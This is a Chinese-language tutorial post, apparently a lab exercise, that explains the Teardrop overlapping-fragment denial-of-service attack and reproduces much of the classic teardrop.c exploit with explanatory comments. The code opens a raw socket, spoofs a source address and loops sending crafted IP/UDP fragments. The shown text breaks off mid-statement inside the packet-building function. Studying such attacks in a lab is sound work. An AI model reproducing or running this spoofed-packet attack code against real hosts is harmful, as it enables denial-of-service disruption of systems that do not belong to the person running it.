TearDrop代码编程与SOCKET应用实例(wait for update)
实验环境ubuntu 18.04 server版
文章目录
TearDrop代码编程
Teardrop攻击是一种畸形报文攻击。是基于UDP的病态分片数据包的攻击方法,其工作原理是向被攻击者发送多个分片的IP包(IP分片数据包中包括该分片数据包属于哪个数据包以及在数据包中的位置等信息),某些操作系统收到含有重叠偏移的伪造分片数据包时将会出现系统崩溃、重启等现象。
实作
1.ubuntu server配置桥接模式
Ubuntu18.04 Server桥接模式的配置参考
2.编写teardrop.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <errno.h>
void usage(u_char *); //处理错误
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short); //IP内容的设置,进行发送IP包
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0; //定义源IP和目的IP
u_short src_prt = 0, dst_prt = 0;//定义源端口和目的端口
struct in_addr addr; //定义一个in_addr对象
printf("teardrop route|daemon9\n\n");
/*socket(AF_INET,SOCK_RAW,IPPROTO_RAW),其原型为
int socket(int domain, int type, int protocol);
int domain”参数表示套接字要使用的协议簇,常用的协议簇:
AF_UNIX(本机通信)
AF_INET(TCP/IP – IPv4)
AF_INET6(TCP/IP – IPv6)
“type”参数指的是套接字类型,常用的类型有:
SOCK_STREAM(TCP流)
SOCK_DGRAM(UDP数据报)
SOCK_RAW(原始套接字)
“protocol”参数用来确定套接字使用的协议簇和类型
一般设置为“0”,但是有时候创建原始套接字时,并不知道要使用的协议簇
和类型,也就是domain参数未知情况下,它可以确定协议的种类。
IPPROTO_RAW就是确定协议的类型
当套接字创建成功时,返回套接字,失败返回“-1”。即失败就会输出错误信
息,然后就退出程序*/
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
fprintf(stderr, "raw socket");
exit(1);
}
/*setsockopt函数是用于任意类型、任意状态套接口的设置选项值,即设置套接口的选项
setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))的原型:
int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen);
sockfd:标识一个套接口的描述字。
level:选项定义的层次;支持SOL_SOCKET、IPPROTO_TCP、IPPROTO_IP和IPPROTO_IPV6等。
optname:需设置的选项。
optval:指针,指向存放选项值的缓冲区。
optlen:optval缓冲区长度。
IP_HDRINCL:如果是TRUE,IP头就会随即将发送的数据一起提交,并从读取
的数据中返回
*/
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))< 0)
{
fprintf(stderr, "IP_HDRINCL");
exit(1);
}
//当main中传入的参数个数少于3时,就会利用处理错误函数进行输入一些信息
if (argc < 3) usage(argv[0]);
//通过函数name_resolve进行源IP和目的IP的设置
if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
/*getopt函数来解析命令行参数
getopt(argc, argv, "s:t:n:")的原型:
int getopt(int argc, char * const argv[], const char *optstring);
如果getopt函数找到一个选项字符,则返回该字符,更新外部变量optind和
一个静态变量nextchar,以便下次调用getopt函数可以使用下一个选项字符
或argv中 带-符号的参数恢复扫描。如果没有更多选项字符,getopt()返
回-1。 那么optind是第一个argv中带-的参数的索引。optstring是一个包
含合法选项字符的字符串。optarg是指向当前选项参数(如果有)的指针。
atoi()函数 atoi()原型:
int atoi(const char *str );
函数功能:把字符串转换成整型数,若无法转换,则返回0 */
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': // source port
src_prt = (u_short)atoi(optarg);
break;
case 't': // dest port
dst_prt = (u_short)atoi(optarg);
break;
case 'n': // number to send
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; // NOTREACHED
}
}
//通过srandom函数设置种子值
srandom((unsigned)(utimes("0",(time_t)0)));
//若上面源端口的值为0,就随机生成一个随机数赋值给源端口
if (!src_prt) src_prt = (random() % 0xffff);
//若上面目的端口的值为0,就随机生成一个随机数赋值给目的端口
if (!dst_prt) dst_prt = (random() % 0xffff);
//发送的次数的若为0,就将设定好的COUNT值赋给count
if (!count) count = COUNT;
printf("Death on flaxen wings:\n");
addr.s_addr = src_ip; //给addr对象赋值
//inet_ntoa()函数功能是将网络地址转换成“.”点隔的字符串格式
printf("From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip; //给addr对象赋值
printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
printf(" Amt: %5d\n", count);
printf("[ ");
//循环调用send_frags函数发送IP包
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
printf("b00m ");
usleep(500);
}
printf("]\n");
return (0);
}
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; // packet pointers(IP包指针)
u_char byte; // a byte
/*套接字协议结构体
struct sockaddr_in{
sa_family_in sin_family;//地址族
uint6_t sin_port;//16位的TCP/UDP的端口号
struct in_addr sin_addr;//16位的IP地址
char sin_zero[8];//不使用
}
*/
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
//malloc函数原型是void *malloc(size_t size),用于分配所需的内存空间,并返回一个指向它的指针
packet = (u_char *)malloc(IPH + UDPH + PADDING);
//网络层IP包的设置
p_ptr = packet; //IP包头部中版本和头部长度的设置,4表示采用IPv4,5表示头部有5行
/*bzero函数
原型:extern void bzero(void *s, int n);
用法:#include <string.h>
功能:置字节字符串s的前n个字节为零。
说明:bzero无返回值。
*/
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45;
/*memcpy函数
原型:extern void *memcpy(void *dest, void *src, unsigned int count);
用法:#include <string.h>
功能:由src所指内存区域复制count个字节到dest所指内存区域。
说明:src和dest所指内存区域不能重叠,函数返回指向dest的指针。*/
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; // IP包中TOS (skipped)的执行
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);//IP包的总长度的设置
p_ptr += 2;
*((u_short *